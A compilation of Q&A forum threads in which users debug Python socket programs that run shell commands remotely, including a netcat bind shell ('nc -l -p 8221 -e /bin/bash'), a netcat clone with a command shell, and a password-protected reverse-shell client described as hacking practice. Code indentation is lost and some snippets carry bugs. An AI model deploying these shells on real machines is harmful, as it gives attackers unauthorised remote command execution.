On a vm I used the command: nc -l -p 8221 -e /bin/bash and made a python3 script:
def netcat():
print ("starting connection")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.60", 8221))
while True:
user = input("what to send?: ")
s.sendall(bytes(user, "utf-8"))
time.sleep(5)
word = "bob"
data = s.recv(4096)
if data == b"":
pass
else:
data = data.decode("utf-8")
print ("Received:", repr(data))
print ("Connection closed.")
s.shutdown(socket.SHUT_WR)
s.close()
netcat()
this script doesn't work. By don't work I mean when I run a command with my python script, lets say "pwd", it just loads but never runs.
When, instead of running the python script I would run nc 192.168.1.60 8221, it would work fine. Any ideas why?
From input()'s documentation:
The function then reads a line from input, converts it to a string
(stripping a trailing newline), and returns that.
But Bash is operating in canonical mode and won't process input till a new line arrives. This won't happen, leading to recv blocking forever.
add a + '\n' after the user = input("what to send?: ") to fix it.
Related
The code below is meant to copy the features of netcat for instances where netcat is removed from a server but python is not. However, no matter what I try I can't seem to figure out the following problem:
I run the following
./Netcat.py -l -p 9999 -c
followed by
./Netcat.py -t localhost -p 9999
in a separate terminal. I can confirm that, when acting as a server the script does, indeed, receive a connection from the second instance of the script and that it receives data when it is set (upon pressing CTRL+D). However, I then get a hung terminal which does not receive a command prompt back, nor does it have the ability to send more data. I am hoping someone can point out the error at this point.
What should happen is as follows:
spin up server insatance
run script as a client
type some data and close STDIN with CTRL+D at which point the client sends the data to the server
The server should then receive the data and send back a command prompt to the client
The problem is at step 4 and I'm pulling my hair out at this point.
Edit
Having run strace I determined that the client program gets hung up waiting to receive data which I have noted the corresponding line in the code. I do not see why this would be the case.
import sys # used for accessing command line args
import socket # creation of socket objects to listen & send/receive data
import getopt # helps scripts to parse the command line arguments in sys.argv
import concurrent.futures # for running commands in a subshell
import subprocess # The subprocess module allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes.
## Globals ##
listen = False
command = False
target = ""
port = 0
## END GLOBALS ##
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((target, port))
if len(buffer):
# bytes([source[, encoding[, errors]]])
client.send(bytes(buffer, 'utf-8'))
# continue sending and receiving data until user kills script
while True:
recv_len = 1
response = ''
while recv_len:
data = client.recv(4096) #<-- PROBLEM
recv_len = len(data)
response += data.decode('utf-8')
if recv_len < 4096:
break
print(response)
buffer = input('#: ')
buffer += '\n'
client.send(buffer)
except socket.error as e:
print('[*] Exception! Exiting')
print(e)
client.close()
def server_loop():
global target
global port
# if no target is defined, listen on all interfaces
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
print(f'listening on {target}:{port}')
while True:
client_socket, addr = server.accept()
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
executor.submit(client_handler, client_socket)
def run_command(command):
command = command.rstrip()
# run command & retrieve output
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
return 'Failed to execute command.\r\n'
def client_handler(client_socket):
global command
# check if shell requested
if command:
while True:
client_socket.send('<BHP:#> ')
# receive until linefeed
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(bufffer)
client_socket.send(response)
def main():
global listen
global port
global command
global target
# make sure the user provided options & arguments
if not len(sys.argv[1:]):
usage()
# parse commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"lt:p:c", #: succeeds options which expect an argument
['listen', 'target', 'port', 'command'])
except getopt.GetoptError as err:
print(str(err))
usage()
# handle commandline options
for option, argument in opts:
elif option in ('-l', '--listen'):
listen = True
elif option in ('-e', '--execute'):
execute = argument
elif option in ('-c', '--commandshell'):
command = True
elif option in ('-t', '--target'):
target = argument
elif option in ('-p', '--port'):
port = int(argument)
# not listening; sending data from stdin
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
if __name__ == '__main__':
main()
i'm trying to do client-server project. In this project i have to send linux command from client to server. Now i can send some commands like a ls, pwd etc. and they are running correctly and i can read output in client terminal but when i try to send "cd" command, i don't get any error but the directory in server doesn't change. If i use os.chdir(os.path.abspath(data)) command instead of subprocess.check_output , it can change directory but it is useless because i can send a other commands like a ls, pwd , mkdir etc. Thanks for your help
server side:
def threaded(c):
while True:
# data received from client
data = c.recv(1024)
if not data:
print('Bye')
break
try:
data_o = subprocess.check_output(data, shell=True)
except subprocess.CalledProcessError as e:
c.send(b'failed\n')
print(e.output)
if(len(data_o) > 0):
c.send(data_o)
else:
c.send(b'There is no terminal output.')
# connection closed
c.close()
client side:
while True:
# message sent to server
s.send(message.encode('ascii'))
# messaga received from server
data = s.recv(1024)
# print the received message
print('Received from the server :',str(data.decode('ascii')))
# ask the client whether he wants to continue
ans = input('\nDo you want to continue(y/n) :')
if ans == 'y':
message = input("enter message")
continue
else:
break
# close the connection
s.close()
You could check if the command being sent is equal to cd and change the runtime behavior based on that.
data_spl = data.split()
if data_spl[0] == 'cd':
data_o = os.chdir(os.path.abspath(data_spl[1]))
else:
data_o = subprocess.check_output(data, shell=True)
Below you can see a Python Script which establishes a connection to my machine on port 1234. Using Netcat I can listen on that port and then perform actions on my machine using the terminal (I know that this is trivial, but its just for practicing).
Now the problem is that the commands like "ls, mkdir, pwd, rm or even "ls /root/Desktop/" are working, but however "cd /root/Desktop" or "cd .." are not working, which is actually really bad. Typing in "cd .." is not returning any error message, but its also not changing the directory. I can not leave my python directory.
Here is the script:
#! /usr/bin/python
import socket
import subprocess
host = "localhost"
port = 1234
passwd = "hacking"
def login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
login()
else:
s.send("Connected #> ")
shell()
def shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()
I got it from here .
Can anyone help me out? Any idea why I cannot leave the directory? Thanks in advance!
It actually works fine. what if you tried this in a single command: cd /other/directory; ls. You'll see that the directory did in fact "change" for the duration of that command. Every new command will gets a fresh environment (so back to the same original directory). If you really want to change the "server context" in between commands then you need to do that in python. Below is a dirty example added onto the code you provided:
#! /usr/bin/python
import socket
import subprocess
import os
host = "localhost"
port = 12345
passwd = "hacking"
def login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
login()
else:
s.send("Connected #> ")
shell()
def shell():
while True:
data = s.recv(1024).strip()
if data == ":kill":
break
try:
cmd, params = data.split(" ", 1)
if cmd == ":chdir":
os.chdir(params)
print "chdir to %s" % (params)
s.send("#> ")
continue
except:
pass
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()
Same idea as your ":kill" command, if the script see's a ":chdir /new/directory" then python executes the chdir function, otherwise pass it on to Popen.
I now have a small java script server working correctly, called by:
<?php
$handle = fsockopen("udp://78.129.148.16",12345);
fwrite($handle,"vzctlrestart110");
fclose($handle);
?>
On a remote server the following python server is running and executing the comand's
#!/usr/bin/python
import os
import socket
print " Loading Bindings..."
settings = {}
line = 0
for each in open('/root/actions.txt', 'r'):
line = line + 1
each = each.rstrip()
if each != "":
if each[0] != '#':
a = each.partition(':')
if a[2]:
settings[a[0]] = a[2]
else:
print " Err # line",line,":",each
print " Starting Server...",
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("", port))
print "OK."
print " Listening on port:", port
while True:
datagram = s.recv(1024)
if not datagram:
break
print "Rx Cmd:", datagram
if settings.has_key(datagram):
print "Launch:", settings[datagram]
os.system(settings[datagram]+" &")
s.close()
Is it possible to easily send the output of the command back, when the server is started and is running a command the output is shown in the ssh window, however I want this output to be sent back to the browser of the original client, maybe setting the browser to wait for 15 seconds and then check for any data received via the socket.
I know I am asking quite a lot, however I am creating a PHP script which I have a large knowledge about, however my python knowledge lacks greatly.
Thanks,
Ashley
Yes, you can read the output of the command. For this I would recommend the Python subprocess module. Then you can just s.write() it back.
Naturally this has some implications, you would probably have to let your PHP script run for a while longer since the process may be running slow.
# The pipe behaves like a file object in Python.
process = Popen(cmd, shell=True, stdout=PIPE)
process_output = ""
while process.poll():
process_output += process.stdout.read(256)
s.write(process_output)
# Better yet.
process = Popen(cmd, shell=true, stdout=PIPE)
stdout, stderr = process.communicate() # will read and wait for process to end.
s.write(stdout)
Integrated into your code:
# ... snip ...
import subprocess
con, addr = s.accept()
while True:
datagram = con.recv(1024)
if not datagram:
break
print "Rx Cmd:", datagram
if settings.has_key(datagram):
print "Launch:", settings[datagram]
process = subprocess.Popen(settings[datagram]+" &", shell=True, stdout=subprocess.PIPE)
stdout, stderr = process.communicate()
con.send(stdout)
con.close()
s.close()
Here's an example of how to get the output of a command:
>>> import commands
>>> s = commands.getoutput("ls *")
>>> s
'client.py'
I am looking at trying to create a python server, which allows me to run root commands on a Centos Server remotely, I would also like the server to be able to respond with the result's of the command.
I have found another question on here which has a basic python server, however it throws a error, the code is:
#!/usr/bin/python
import os
import socket
print " Loading Bindings..."
settings = {}
line = 0
for each in open('/root/actions.txt', 'r'):
line = line + 1
each = each.rstrip()
if each <> "":
if each[0] <> '#':
a = each.partition(':')
if a[2]:
settings[a[0]] = a[2]
else:
print " Err # line",line,":",each
print " Starting Server...",
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("", port))
print "OK."
print " Listening on port:", port
while True:
datagram = s.recv(1024)
if not datagram:
break
print "Rx Cmd:", datagram
if settings.has_key(datagram):
print "Launch:", settings[datagram]
os.system(settings[datagram]+" &")
s.close()
When i run using python vzctl.py. I get the following error:
File "vzctl.py", line 9
each = each.rstrip()
^
SyntaxError: invalid syntax
Does anyone have any idea of the error, and if it would be possible to add the function of the server responding with the output of the command.
You can see the source of this script at : How can I have a PHP script run a shell script as root?
Thanks,
Ashley
you need to keep indentation at the same level for each nested statement throughout your code.
On a different note: why not using TwistedMatrix?